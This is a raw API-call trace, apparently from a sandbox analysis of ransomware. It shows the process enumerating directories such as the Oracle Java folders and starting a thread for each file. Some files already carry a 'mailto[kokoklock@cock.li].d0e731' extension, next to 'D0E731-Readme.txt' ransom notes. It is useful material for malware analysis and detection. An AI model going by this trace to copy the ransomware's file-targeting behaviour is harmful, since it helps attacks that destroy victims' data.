ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbcb1d9bc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe825779a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30455a8 [0173.741] wcscmp (_String1=".", _String2=".") returned 0 [0173.741] FindNextFileW (in: hFindFile=0x30455a8, lpFindFileData=0x2f9cda8 | out: lpFindFileData=0x2f9cda8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbcb1d9bc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe825779a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.741] wcscmp (_String1="..", _String2=".") returned 1 [0173.741] wcscmp (_String1="..", _String2="..") returned 0 [0173.741] FindNextFileW (in: hFindFile=0x30455a8, lpFindFileData=0x2f9cda8 | out: lpFindFileData=0x2f9cda8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x799dd27b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe2889e45, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe2889e45, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x1368, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeIntegrator.ps1", cAlternateFileName="")) returned 1 [0173.741] wcscmp (_String1="OfficeIntegrator.ps1", _String2=".") returned 1 [0173.741] wcscmp (_String1="OfficeIntegrator.ps1", _String2="..") returned 1 [0173.741] FindNextFileW (in: hFindFile=0x30455a8, lpFindFileData=0x2f9cda8 | out: lpFindFileData=0x2f9cda8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x799dd27b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe2889e45, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe2889e45, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x1368, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeIntegrator.ps1", cAlternateFileName="")) returned 0 [0173.741] FindClose (in: hFindFile=0x30455a8 | out: hFindFile=0x30455a8) returned 1 [0173.741] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9cda8) returned 1 [0173.741] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa4660) returned 1 [0173.741] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88898) returned 1 [0173.741] RtlExitUserThread (Status=0x0) Thread: id = 2199 os_tid = 0x1344 [0173.743] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft OneDrive\\setup\\refcount.ini" (normalized: "c:\\users\\all users\\microsoft onedrive\\setup\\refcount.ini")) returned 0x2020 [0173.743] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft OneDrive\\setup\\refcount.ini", dwFileAttributes=0x20) returned 1 [0173.743] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft OneDrive\\setup\\refcount.ini" (normalized: "c:\\users\\all users\\microsoft onedrive\\setup\\refcount.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0173.743] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x1bb7fa14 | out: lpFileSize=0x1bb7fa14*=0) returned 1 [0173.744] CloseHandle (hObject=0x458) returned 1 [0173.744] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft OneDrive\\setup\\refcount.ini", dwFileAttributes=0x2020) returned 1 [0173.744] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8ae90) returned 1 [0173.744] RtlExitUserThread (Status=0x0) Thread: id = 2200 os_tid = 0x1348 [0173.747] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x66) returned 0x30577c0 [0173.747] wcscpy (in: _Dest=0x30577c0, _Source="C:\\Users\\All Users\\Oracle\\Java\\.oracle_jre_usage" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\.oracle_jre_usage") returned="C:\\Users\\All Users\\Oracle\\Java\\.oracle_jre_usage" [0173.747] wcscat (in: _Dest=0x30577c0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\.oracle_jre_usage\\") returned="C:\\Users\\All Users\\Oracle\\Java\\.oracle_jre_usage\\" [0173.747] wcscat (in: _Dest=0x30577c0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\.oracle_jre_usage\\*") returned="C:\\Users\\All Users\\Oracle\\Java\\.oracle_jre_usage\\*" [0173.747] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9cda8 [0173.747] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Oracle\\Java\\.oracle_jre_usage\\*", lpFindFileData=0x2f9cda8 | out: lpFindFileData=0x2f9cda8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xad14ee36, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x8e7c1625, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8e7c1625, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30455a8 [0173.749] wcscmp (_String1=".", _String2=".") returned 0 [0173.749] FindNextFileW (in: hFindFile=0x30455a8, lpFindFileData=0x2f9cda8 | out: lpFindFileData=0x2f9cda8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xad14ee36, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x8e7c1625, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8e7c1625, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.749] wcscmp (_String1="..", _String2=".") returned 1 [0173.749] wcscmp (_String1="..", _String2="..") returned 0 [0173.749] FindNextFileW (in: hFindFile=0x30455a8, lpFindFileData=0x2f9cda8 | out: lpFindFileData=0x2f9cda8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xad19b2ee, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xad19b2ee, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x8e7c1625, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xf3, dwReserved0=0x0, dwReserved1=0x0, cFileName="17dfc292991c7c46.timestamp.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="17DFC2~1.D0E")) returned 1 [0173.749] wcscmp (_String1="17dfc292991c7c46.timestamp.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0173.749] wcscmp (_String1="17dfc292991c7c46.timestamp.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0173.749] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xda) returned 0x2f987a8 [0173.749] wcscpy (in: _Dest=0x2f987a8, _Source="C:\\Users\\All Users\\Oracle\\Java\\.oracle_jre_usage" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\.oracle_jre_usage") returned="C:\\Users\\All Users\\Oracle\\Java\\.oracle_jre_usage" [0173.749] wcscat (in: _Dest=0x2f987a8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\.oracle_jre_usage\\") returned="C:\\Users\\All Users\\Oracle\\Java\\.oracle_jre_usage\\" [0173.749] wcscat (in: _Dest=0x2f987a8, _Source="17dfc292991c7c46.timestamp.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\.oracle_jre_usage\\17dfc292991c7c46.timestamp.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Oracle\\Java\\.oracle_jre_usage\\17dfc292991c7c46.timestamp.mailto[kokoklock@cock.li].d0e731" [0173.920] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f987a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x45c [0173.920] FindNextFileW (in: hFindFile=0x30455a8, lpFindFileData=0x2f9cda8 | out: lpFindFileData=0x2f9cda8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8e7c1625, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8e7c1625, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8e7c1625, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0173.920] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0173.920] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0173.920] FindNextFileW (in: hFindFile=0x30455a8, lpFindFileData=0x2f9cda8 | out: lpFindFileData=0x2f9cda8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8e7c1625, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8e7c1625, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8e7c1625, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 0 [0173.920] FindClose (in: hFindFile=0x30455a8 | out: hFindFile=0x30455a8) returned 1 [0173.921] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9cda8) returned 1 [0173.921] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30577c0) returned 1 [0173.921] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f71128) returned 1 [0173.921] RtlExitUserThread (Status=0x0) Thread: id = 2201 os_tid = 0x134c [0173.749] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x64) returned 0x30578a0 [0173.749] wcscpy (in: _Dest=0x30578a0, _Source="C:\\Users\\All Users\\Oracle\\Java\\installcache_x64" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\installcache_x64") returned="C:\\Users\\All Users\\Oracle\\Java\\installcache_x64" [0173.750] wcscat (in: _Dest=0x30578a0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\installcache_x64\\") returned="C:\\Users\\All Users\\Oracle\\Java\\installcache_x64\\" [0173.750] wcscat (in: _Dest=0x30578a0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\installcache_x64\\*") returned="C:\\Users\\All Users\\Oracle\\Java\\installcache_x64\\*" [0173.750] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9d010 [0173.750] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Oracle\\Java\\installcache_x64\\*", lpFindFileData=0x2f9d010 | out: lpFindFileData=0x2f9d010*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d7cc62, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8d35a5d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8d35a5d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30455e8 [0173.751] wcscmp (_String1=".", _String2=".") returned 0 [0173.751] FindNextFileW (in: hFindFile=0x30455e8, lpFindFileData=0x2f9d010 | out: lpFindFileData=0x2f9d010*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d7cc62, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8d35a5d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8d35a5d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.751] wcscmp (_String1="..", _String2=".") returned 1 [0173.751] wcscmp (_String1="..", _String2="..") returned 0 [0173.751] FindNextFileW (in: hFindFile=0x30455e8, lpFindFileData=0x2f9d010 | out: lpFindFileData=0x2f9d010*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa33265df, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa33265df, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa315c98a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4eba475, dwReserved0=0x0, dwReserved1=0x0, cFileName="baseimagefam8", cAlternateFileName="BASEIM~1")) returned 1 [0173.751] wcscmp (_String1="baseimagefam8", _String2=".") returned 1 [0173.751] wcscmp (_String1="baseimagefam8", _String2="..") returned 1 [0173.751] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x7c) returned 0x2fa03b0 [0173.751] wcscpy (in: _Dest=0x2fa03b0, _Source="C:\\Users\\All Users\\Oracle\\Java\\installcache_x64" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\installcache_x64") returned="C:\\Users\\All Users\\Oracle\\Java\\installcache_x64" [0173.751] wcscat (in: _Dest=0x2fa03b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\installcache_x64\\") returned="C:\\Users\\All Users\\Oracle\\Java\\installcache_x64\\" [0173.751] wcscat (in: _Dest=0x2fa03b0, _Source="baseimagefam8" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\installcache_x64\\baseimagefam8") returned="C:\\Users\\All Users\\Oracle\\Java\\installcache_x64\\baseimagefam8" [0173.918] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa03b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x460 [0173.919] FindNextFileW (in: hFindFile=0x30455e8, lpFindFileData=0x2f9d010 | out: lpFindFileData=0x2f9d010*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa33265df, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa33265df, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa315c98a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4eba475, dwReserved0=0x0, dwReserved1=0x0, cFileName="baseimagefam8", cAlternateFileName="BASEIM~1")) returned 0 [0173.919] FindClose (in: hFindFile=0x30455e8 | out: hFindFile=0x30455e8) returned 1 [0173.919] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9d010) returned 1 [0173.919] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30578a0) returned 1 [0173.919] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87d00) returned 1 [0173.919] RtlExitUserThread (Status=0x0) Thread: id = 2202 os_tid = 0x1350 [0173.751] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x54) returned 0x2fa4660 [0173.751] wcscpy (in: _Dest=0x2fa4660, _Source="C:\\Users\\All Users\\Oracle\\Java\\javapath" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\javapath") returned="C:\\Users\\All Users\\Oracle\\Java\\javapath" [0173.751] wcscat (in: _Dest=0x2fa4660, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\javapath\\") returned="C:\\Users\\All Users\\Oracle\\Java\\javapath\\" [0173.751] wcscat (in: _Dest=0x2fa4660, _Source="*" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\javapath\\*") returned="C:\\Users\\All Users\\Oracle\\Java\\javapath\\*" [0173.751] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9d278 [0173.752] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Oracle\\Java\\javapath\\*", lpFindFileData=0x2f9d278 | out: lpFindFileData=0x2f9d278*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x8e859fc7, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8e859fc7, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3045628 [0173.752] wcscmp (_String1=".", _String2=".") returned 0 [0173.752] FindNextFileW (in: hFindFile=0x3045628, lpFindFileData=0x2f9d278 | out: lpFindFileData=0x2f9d278*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x8e859fc7, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8e859fc7, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.752] wcscmp (_String1="..", _String2=".") returned 1 [0173.752] wcscmp (_String1="..", _String2="..") returned 0 [0173.752] FindNextFileW (in: hFindFile=0x3045628, lpFindFileData=0x2f9d278 | out: lpFindFileData=0x2f9d278*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8e7e7ad7, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8e7e7ad7, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8e80db25, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0173.752] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0173.752] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0173.752] FindNextFileW (in: hFindFile=0x3045628, lpFindFileData=0x2f9d278 | out: lpFindFileData=0x2f9d278*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x8e7e7ad7, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x32940, dwReserved0=0x0, dwReserved1=0x0, cFileName="java.exe.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="JAVAEX~1.D0E")) returned 1 [0173.752] wcscmp (_String1="java.exe.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0173.752] wcscmp (_String1="java.exe.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0173.752] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa4) returned 0x2f91ea0 [0173.752] wcscpy (in: _Dest=0x2f91ea0, _Source="C:\\Users\\All Users\\Oracle\\Java\\javapath" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\javapath") returned="C:\\Users\\All Users\\Oracle\\Java\\javapath" [0173.752] wcscat (in: _Dest=0x2f91ea0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\javapath\\") returned="C:\\Users\\All Users\\Oracle\\Java\\javapath\\" [0173.752] wcscat (in: _Dest=0x2f91ea0, _Source="java.exe.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\javapath\\java.exe.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Oracle\\Java\\javapath\\java.exe.mailto[kokoklock@cock.li].d0e731" [0173.914] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f91ea0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x464 [0173.914] FindNextFileW (in: hFindFile=0x3045628, lpFindFileData=0x2f9d278 | out: lpFindFileData=0x2f9d278*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x8e859fc7, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x32940, dwReserved0=0x0, dwReserved1=0x0, cFileName="javaw.exe.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="JAVAWE~1.D0E")) returned 1 [0173.914] wcscmp (_String1="javaw.exe.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0173.915] wcscmp (_String1="javaw.exe.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0173.915] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa6) returned 0x2f90e20 [0173.915] wcscpy (in: _Dest=0x2f90e20, _Source="C:\\Users\\All Users\\Oracle\\Java\\javapath" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\javapath") returned="C:\\Users\\All Users\\Oracle\\Java\\javapath" [0173.915] wcscat (in: _Dest=0x2f90e20, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\javapath\\") returned="C:\\Users\\All Users\\Oracle\\Java\\javapath\\" [0173.915] wcscat (in: _Dest=0x2f90e20, _Source="javaw.exe.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\javapath\\javaw.exe.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Oracle\\Java\\javapath\\javaw.exe.mailto[kokoklock@cock.li].d0e731" [0173.915] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f90e20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x974 [0173.915] FindNextFileW (in: hFindFile=0x3045628, lpFindFileData=0x2f9d278 | out: lpFindFileData=0x2f9d278*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x8e859fc7, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4e140, dwReserved0=0x0, dwReserved1=0x0, cFileName="javaws.exe", cAlternateFileName="")) returned 1 [0173.915] wcscmp (_String1="javaws.exe", _String2=".") returned 1 [0173.915] wcscmp (_String1="javaws.exe", _String2="..") returned 1 [0173.915] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x66) returned 0x30579f0 [0173.915] wcscpy (in: _Dest=0x30579f0, _Source="C:\\Users\\All Users\\Oracle\\Java\\javapath" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\javapath") returned="C:\\Users\\All Users\\Oracle\\Java\\javapath" [0173.915] wcscat (in: _Dest=0x30579f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\javapath\\") returned="C:\\Users\\All Users\\Oracle\\Java\\javapath\\" [0173.916] wcscat (in: _Dest=0x30579f0, _Source="javaws.exe" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\javapath\\javaws.exe") returned="C:\\Users\\All Users\\Oracle\\Java\\javapath\\javaws.exe" [0173.916] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x30579f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6a0 [0173.916] FindNextFileW (in: hFindFile=0x3045628, lpFindFileData=0x2f9d278 | out: lpFindFileData=0x2f9d278*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x8e859fc7, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4e140, dwReserved0=0x0, dwReserved1=0x0, cFileName="javaws.exe", cAlternateFileName="")) returned 0 [0173.916] FindClose (in: hFindFile=0x3045628 | out: hFindFile=0x3045628) returned 1 [0173.917] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9d278) returned 1 [0173.917] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa4660) returned 1 [0173.917] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f889a0) returned 1 [0173.917] RtlExitUserThread (Status=0x0) Thread: id = 2203 os_tid = 0x1354 [0173.753] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013530 [0173.753] wcscpy (in: _Dest=0x3013530, _Source="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984") returned="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984" [0173.753] wcscat (in: _Dest=0x3013530, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\") returned="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\" [0173.753] wcscat (in: _Dest=0x3013530, _Source="*" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\*") returned="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\*" [0173.753] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9d4e0 [0173.753] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\*", lpFindFileData=0x2f9d4e0 | out: lpFindFileData=0x2f9d4e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x8e859fc7, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8e859fc7, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3045668 [0173.753] wcscmp (_String1=".", _String2=".") returned 0 [0173.753] FindNextFileW (in: hFindFile=0x3045668, lpFindFileData=0x2f9d4e0 | out: lpFindFileData=0x2f9d4e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x8e859fc7, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8e859fc7, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.753] wcscmp (_String1="..", _String2=".") returned 1 [0173.753] wcscmp (_String1="..", _String2="..") returned 0 [0173.753] FindNextFileW (in: hFindFile=0x3045668, lpFindFileData=0x2f9d4e0 | out: lpFindFileData=0x2f9d4e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8e7e7ad7, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8e7e7ad7, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8e80db25, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", 